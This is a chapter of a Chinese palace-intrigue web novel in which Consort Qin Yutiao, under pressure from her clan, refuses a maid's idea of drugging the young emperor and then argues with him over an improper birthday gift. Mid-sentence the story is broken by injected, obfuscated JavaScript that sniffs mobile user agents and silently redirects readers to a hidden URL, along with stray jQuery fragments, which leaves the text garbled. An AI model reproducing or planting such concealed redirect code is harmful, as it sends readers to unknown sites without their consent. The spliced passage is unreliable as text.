黄昏,垂暮,
太平缸里的浮金跃上宫墙。
斯幽殿堪堪送走不速之客,气氛有些低沉,贵妃无言侧坐窗台,衫上的鸾鸟在晚风里泄泄其羽,窗外黯淡的残阳照不亮她明艳脸庞,她的沉默便略显漫长。
侍者殿中对立,互相打量。
朱柿心软不敢张口,怕伤贵妃心肠。
丹秫却在移开目光后,斗胆燃灯肆言道:“娘子,家主已然派人上殿,您还打算跟从前那样搪塞过去?两年了,这一次和从前不一样了,您该不会真想看着二娘子被送进宫来吧?”
秦玉迢回过头,两旁的烛光有些刺眼,叫她好半晌才懒懒抬眸。
她自然不想。
母亲病亡,父亲于漓州治理水患时身故,她只有这么一个妹妹了。
大内是个什么样的地方,她心知肚明。
她岂能让秦玉遥变成他们手中的棋子,步自己的后尘。
她可以麻木,可以无所谓做一辈子笼中雀鸟。
但小妹不能。
她要担起做长姐的责任,当年若非为了能让小妹在秦家过得安稳,让她有个自己选择人生的机会,秦玉迢断不会像现在这般任由他们摆布。
双亲去后,叔伯惯用小妹要挟她……
今日如是。
半个时辰前,秦家叫人过来给她下了最后通牒,道是今朝再不承宠,月余后就送秦玉遥入宫。从前小妹还小,兴许还有理由拖上一拖,可如今小妹大了,拖不得了。
秦家那些人可不与她讲什么感情。
耳畔的风吹不乱贵妃的心肠。
秦玉迢喜欢把事放心里,眼下她虽烦扰,面上却还是一副心如止水的模样。
丹秫看眼前人久不作声,生出几分急切。
她猜不透贵妃心思,偏又在张口时略带逾越,“奴婢知娘子忧愁,您与陛下多年嫌隙已不是秘密,此番家主要求的事定是不会轻而易举,不若我们使些手段把陛下留住?”
“手段?”秦玉迢将目光冷冷落在丹秫脸上,不禁暗嘲,还真是长房送来的人。
丹秫见贵妃未曾表态,连忙躬身凑了上去,“奴婢听闻鬼市子有种名叫惑情散的东西,何不找人寻来试试?”
惑情散?给天子下药?
她真说得出口。
秦玉迢抬手拢起裙衫,不知是不是方才秦家人走前给丹秫授意了什么,不若眼前人此刻能在她面前说出这些话,不是蠢就是坏。
秦玉迢心知平日与小皇帝闹闹便罢,她若真听她的话,用如此拙劣的手段承宠,依小皇帝的性格,不管如何,隔日便会大闹一通,甚至给她安个谋害天子的罪名。
那她做这一切又有什么意义?
有些手段在秦家用便用了,大内可不是他们能放肆的地方。
丹秫不在其位,虑不及远。
她举目跟秦玉迢递了个眼神,却收到贵妃一声闷闷的:“出门掌嘴。”
丹秫一怔,她没急着往殿外领罚,反倒跟贵妃大呼冤枉,“娘子!奴婢其心可鉴,奴婢是一心为您着想!”
秦玉迢站起身,头顶沉重的钗冠压不弯她修长的颈脖。
她厉声去,字字句句砸在丹秫身上,“若真是一心为我,就该安分些把嘴闭上——你以为隔墙无耳,其实宫里处处都是透风的墙,你不是头一遭这么口无遮拦,妄自揣度了,今日我依然可以看在长房的份上饶了你,但若再有下次,你的这副口舌不要也罢。”
秦玉迢很少说这样的话,丹秫瞧出贵妃不悦,也该知收敛。
“奴……奴婢谨记娘子教诲。”
她带着不甘愤然转身,在旁沉默半晌,怎么也插不上话的朱柿却在此时抬眸欲言又止。
朱柿打小跟着秦玉迢长大,是秦玉迢的贴身女使,生来一副菩萨心肠,秦玉迢了解她,亦对她几多偏爱,眼瞧着她要上前帮腔竟也没恼,只是轻轻吐出一句:“不许求情。”
朱柿的想法就这么被噎了回去。
不多时,巴掌声自殿外响起,声声清脆。
朱柿被吓得皱了皱眉,秦玉迢转眸瞥见她缩头缩脑,沉声追问,“怕我了?”朱柿摇摇头,还没来得及回答,就又被她抢了先,“柿子,你是不是也觉得我变了,变刻薄了……”
秦玉迢也不想这样。
只是宫里这么多双盯着斯幽殿,叫她如何敢放松。
秦玉迢轻叹了口气,朱柿这才寻到机会开口:“不是的,我没怕,娘子也没变,丹秫此番在您面前胡为乱言,是该好好责罚,倘若阿郎还在,也会赞同娘子的做法。”
是啊,父亲清正一生,
又岂能容忍这样污秽的事存在。
可秦家的其他人似乎并不这样想,父亲走了,大权落进三叔手中,一切都变了。
就连她也做不得自己了。
盛夏时节茉莉正旺,秦玉迢转而望向窗外,一呼一吸间全是沁人的香,朱柿的宽慰叫她平和不少,她不再开口说话,只一味盯着昏暗的东廊。
可不按丹秫说得法子来,又该怎么办呢?
朱柿看不透,她问秦玉迢,“只是娘子,您真有办法完成家主要求的事吗?您也知,自打入宫以来,圣上甚至连咱们斯幽殿的门都未曾跨过,您如此疼惜二娘子,二娘子又是个莽撞性子,若是此事办不成…咱们又该如何是好……”
话落,暮色低沉,庭花簌簌。
朱柿满目忧愁,却见秦玉迢从容应道:“事缓则圆,每件事都有自己的解法,总会有办法的。”
-
五日后,事情果真出现了转机。
小皇帝居然破天荒登了斯幽殿的门,当那身着襕袍,顶戴幞头的烈烈少年乍然出现,斯幽殿上上下下便在短暂的沉默中,瞬间炸锅,所有人都对他的到来不敢置信。
只是,龙颜为何有些不悦?
甚至略带嗔怒。
“官,官家——”
朱柿端着准备给贵妃奉的茶慌不择路,她瞪大了眼,以为是自己看错了。
她转眸求助丹秫。可丹秫自打受罚后乖顺不少,如今碰上官家突然来访,更是站在一旁闭口不言,看来,她是真怕失了自己的这副口舌。
对望间,小皇帝在殿中风火来去,等半晌不见某人身影,才肯厉声去问:“贵妃呢!”
朱柿回过神,差点没被吓得洒了茶汤,她忙颤声回:“娘子在第一香。”
所谓第一香,便是斯幽殿后的一座方亭。
因周植茉莉而得名。
小皇帝听后二话没说,愤然抬脚,朱柿见势不对,赶忙追了上去。
-
昨日汴京夜雨,降下不少闷热,秦玉迢此刻端坐“第一香”,认真阅着各宫递来的折子。
如今少帝无妻,宫中除却她,只有两嫔两世妇。
太后寻日里要处理朝政,所以这摄六宫事的重任,自然落在了她这一人之下的贵妃头上。想来秦家步步紧逼,也是指望她能尽快诞下皇嗣,好以此送她名正言顺入主中宫,稳住秦家根基。
秦玉迢素手将折子翻过,眉眼里瞧不出悲喜。
她道一颗棋子而已,用不着太多情绪。
陡然风起,花瓣染上她退红罗衫,秦玉迢昂起头,髻上戴着她最爱的莲花冠。
她看竹帘摇曳,蓦然发起了呆。
贵妃喜爱莲花冠,是后宫人尽皆知的事,哪怕春锦阁那位骄纵的夏淑容,也会特意避开与之一样的穿戴,只因他们说:贵妃娘子一眯眼,活像尊不怒自威的菩萨。
“秦玉迢——”小皇帝气冲冲闯进后院的平静。
朱柿随之而来,却被顿在东廊的内常侍显敬拦下,“官家与贵妃娘子有话要谈,闲杂人等就莫要近前,在此候着便是。”
朱柿有些担忧,“可……”
显敬立刻瞪了这小小女郎一眼,朱柿人微言轻,只好作罢。
这端廊下齐齐候了两排宫人,堵得后殿水泄不通,那端李首然去到方亭,见了秦玉迢就是叫人毫无防备地拍案大呼:“谁准你私自撤了朕送给赵王妃生辰礼的——”
小皇帝单刀直入,把桌子拍得震天响。
秦玉迢却不为所动,她只收回目光,缓缓将折子扣上,她对李首然的到来没有半分惊讶,就仿若知道眼前人会来找自己般淡定如常。
李首然双手撑案,将秦玉迢怒视,
只是那样朗然的眉宇怎么装,都装不出半分狠绝。
秦玉迢面见天子不起身,也没问礼,单是正襟危坐地打岔,“官家手不疼吗?”
李首然攥紧拳头,掌心阵阵火辣。
疼,当然疼了,你拍你也疼……
但疼也不能在你这卑鄙小人面前展露分毫!
他冷哼一声,立刻驳斥了眼前人虚假的关心,“少在那虚情假意。秦玉迢,朕问你,谁准你私撤掉朕的贺礼?你又凭什么撤掉朕的贺礼?!”
秦玉迢漠然将双掌交叠在腹前,丝毫未因家中事而向小皇帝谄媚顺从。
她说:“凭娘娘叫妾摄六宫事。”
李首然挑起眉,似是被戳了痛处,“你也想拿娘娘压我?”
秦玉迢轻轻摇头。
她直视起小皇帝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242672|181931||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那张胜过春日朗朗的脸,与那双皓眸中呼之欲出的怒气,淡然道:“自本朝开国以来,历代先祖为太后以及太皇太后设立宫庄,意为慈乌反哺,以昭恭孝。”
“然赵王妃生辰,官家竟为其专设迎春,寿春两宫庄田做贺,实在不合礼制,甚有僭越,有碍官家与娘娘和睦,所以妾便私自撤了官家的贺礼。”
“妾只是按照宫中的规矩,办妾该办的事,妾不觉有错。”
“也不该被官家这般质问。”
秦玉迢词正理直,李首然的气势被压去不少。
他愣然起身,眼前人还是一如既往怼得他哑口无言,却寻不出半分错处。
可他亦有他的苦衷。
先帝厚德仁善,在位十几载兢兢业业,却因身子羸弱,多年未有所出,身边唯两女绕膝。
眼看大统无继,又恰逢朝中上书,先帝便与当年的皇后,亦是如今的太后商议,将赵王府刚诞下的幼子立嗣为继,填补空虚,安稳朝臣。
太后想赵王六子,又与先帝一母同胞,遂应允。
于是乎,半岁的李首然被过继到先帝膝下,立为太子,养在了坤宁殿中。
直到十年后,先帝驾崩,太子承继。
李首然才被推上了皇位。
但因少帝年幼,朝中大小事务一直由太后与宰执共同打理,以致李首然登基至今,也未有任何实权可言,他虽日日入垂拱殿勤政,却没有一件事能做得了主,所有事皆需呈递慈福殿请太后批复。
久而久之,当谗言入耳,母子难免嫌隙。
秦玉迢打天子面前起身,抖落一身芬芳,小皇帝盯着她看了半晌,忽而斥问:“礼制,僭越!不过一份寿贺而已,贵妃是想让朕忘本吗?”
“官家越过娘娘,为赵王妃设立宫庄,才是忘本。”秦玉迢掷地有声,丝毫没给小皇帝留情面。
李首然望着贵妃那双凌厉的眼眸,登时火冒三丈。
“你——”
“你什么都不懂!”
更不懂我。
李首然说罢拂袖转身,不再多看秦玉迢一眼。
秦玉迢却望着被她气得急不择途的小皇帝,好心言语,“门在南边。”李首然懵着脑袋,打北边调头回来,气得跺脚,“朕知道!不用你提醒!”
今日,依旧是贵妃赢了。
不过这样的戏码大家早已看厌,两年了,若是哪日官家吵赢了那才是罕事。
帝妃不欢而散,宫人们追着脚下生风的小皇帝鱼贯而出,适才还被堵住的门廊,立刻变得空荡,显敬于抬脚前回眸看了眼安然静立在“第一香”中的贵妃,这才转身离去。
人走了,朱柿赶忙寻去。
可到了跟前秦玉迢就跟没事人似的,拿起她手中早已凉透的清茶就要饮下,吓得她赶紧抬手阻拦,“诶,茶凉了,您别喝,我再给您换一盏——”
秦玉迢却说:“无事,只当去火了。”
“是,娘子是该去去火。”朱柿抱着托盘摇摇头,“能把官家气成这样,您得多大的火气?贵妃,秦娘子,您别怪我多嘴,您有时真该收收您的脾性,怎么说那也是官家。您难不成忘了,宫里都把您传成什么样了?还有现在这种时候,您不是更该讨好官家,改善改善您与官家的关系……”
“收收脾性?做错事的,又不是我。”
秦玉迢轻抿茶汤,不以为意。
朱柿直跟着发愁,她忍不住追问:“您今日跟官家又是为了什么闹成这样?”
眼见四下无人,秦玉迢便与她说了方才的事。
朱柿听后啊了一声,她忽觉贵妃娘子说得对,这次确实是小皇帝做错了,“官家怎么能这样呢!如此不会伤了那位的心吗?”
秦玉迢垂眸将手中茶盏送还,说了句模棱两可的话。
“你以为小皇帝是真想孝顺赵王妃?”
“倘若真想孝顺,大可按照规矩或封或赏,何必非要做这种有损娘娘颜面的事,惹人非议?人是讲感情的,半岁大的娃娃离开家,自小在娘娘身边长大,多少个春夏秋冬的悉心照料,怎能说淡就淡呢……”
朱柿眨眨眼,她听不懂贵妃话中深意,也对这些是非无甚关心。
她所有心思都在秦玉迢身上,“所以您昨儿特地去了趟慈福殿,就是为这事?可插手这出力不讨好的事,您图什么呢?让小皇帝如此怨怼您,究竟何日才能承上宠呐——”
小小女郎的担心不无道理。
朱柿叹了口气。
秦玉迢偏将一双凤眸半睁半闭,她竟告诉朱柿:“放心,过不了多久,官家还会再来。”